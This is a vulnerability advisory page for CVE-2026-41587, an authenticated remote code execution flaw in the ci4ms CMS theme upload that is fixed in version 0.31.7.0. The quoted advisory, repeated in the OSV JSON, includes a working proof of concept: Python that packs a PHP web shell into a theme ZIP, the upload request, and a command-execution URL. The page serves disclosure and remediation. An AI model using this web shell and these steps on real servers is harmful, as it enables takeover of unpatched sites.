CVE-2026-41587: Ci4 cms erp/ci4ms Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-fw49-9xq4-gmx6
CWE-434
Published
Advisory Summary

CVE-2026-41587 is a HIGH remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Ci4 cms erp/ci4ms libraries in the Packagist ecosystem. The issue involves ci4ms has unrestricted php file upload via theme installation that leads to authenticated remote code execution. Remediation is available by upgrading affected packages to version 0.31.7.0.

CVE-2026-41587 at a Glance

CVE Identifier CVE-2026-41587
GHSA Identifier GHSA-fw49-9xq4-gmx6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Ci4 cms erp/ci4ms
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-41587

To remediate this vulnerability, upgrade all affected Ci4 cms erp/ci4ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.7.0
Upgrade ci4-cms-erp/ci4ms to 0.31.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41587, inspect your project dependencies for Ci4 cms erp/ci4ms:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of Ci4 cms erp/ci4ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Ci4 cms erp/ci4ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. ### Details File: `modules/Theme/Controllers/Theme.php` After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52 File: `modules/Theme/Helpers/themes_helper.php` The helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68` Because the web root is `public/`, any `.php` file placed there is directly reachable over HTTP. PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42` The theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20` ### PoC Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload). Step 1 — Build the malicious ZIP: ``` import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>') buf.seek(0) with open('evil_theme.zip', 'wb') as f: f.write(buf.read()) ``` Step 2 — Upload: ``` POST /backend/themes/upload Content-Type: multipart/form-data field name: theme file: evil_theme.zip ``` Step 3 — Execute: ``` GET https://target.com/templates/evil/shell.php?c=id ``` Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)). ### Impact Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root. Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

CVE-2026-41587 Affected Ci4 cms erp/ci4ms Versions

1 component(s)
Fixed Versions:
0.31.7.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
≥ 0.26.0.0
< 0.31.7.0
0.31.7.0

References

Frequently Asked Questions

What is CVE-2026-41587?
CVE-2026-41587 is a security vulnerability in Ci4 cms erp/ci4ms involving CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Ci4 cms erp/ci4ms versions are affected?
Affected versions include releases prior to 0.31.7.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-41587?
Upgrading to 0.31.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.7.0. Upgrade your dependency to 0.31.7.0 or later.
What CWE is associated with CVE-2026-41587?
CVE-2026-41587 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2026-41587?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fw49-9xq4-gmx6",
  "modified" : "2026-05-08T19:55:29Z",
  "published" : "2026-04-29T20:42:44Z",
  "aliases" : [ "CVE-2026-41587" ],
  "summary" : "CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution",
  "details" : "### Summary\nA theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.\n\n\n### Details\nFile: `modules/Theme/Controllers/Theme.php`\n\nAfter a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52\n\nFile: `modules/Theme/Helpers/themes_helper.php`\n\nThe helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`\n\nBecause the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.\n\nPHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42`\n\nThe theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`\n\n### PoC\nPrerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).\n\nStep 1 — Build the malicious ZIP:\n```\nimport zipfile, io  \n  \nbuf = io.BytesIO()  \nwith zipfile.ZipFile(buf, 'w') as z:  \n    z.writestr('public/templates/evil/shell.php', '<?php system($_GET[\"c\"]); ?>')  \nbuf.seek(0)  \nwith open('evil_theme.zip', 'wb') as f:  \n    f.write(buf.read())\n```\nStep 2 — Upload:\n```\nPOST /backend/themes/upload  \nContent-Type: multipart/form-data  \n  \nfield name: theme  \nfile:       evil_theme.zip  \n```\nStep 3 — Execute:\n```\nGET https://target.com/templates/evil/shell.php?c=id  \n```\nExpected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).\n\n\n### Impact\nType: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.\n\nWho is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.26.0.0"
      }, {
        "fixed" : "0.31.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.6.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fw49-9xq4-gmx6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41587"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/commit/b969465e71eacd9eb57014ad1fce1fc34fa7bca0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T20:42:44Z",
    "nvd_published_at" : "2026-05-07T04:16:27Z"
  }
}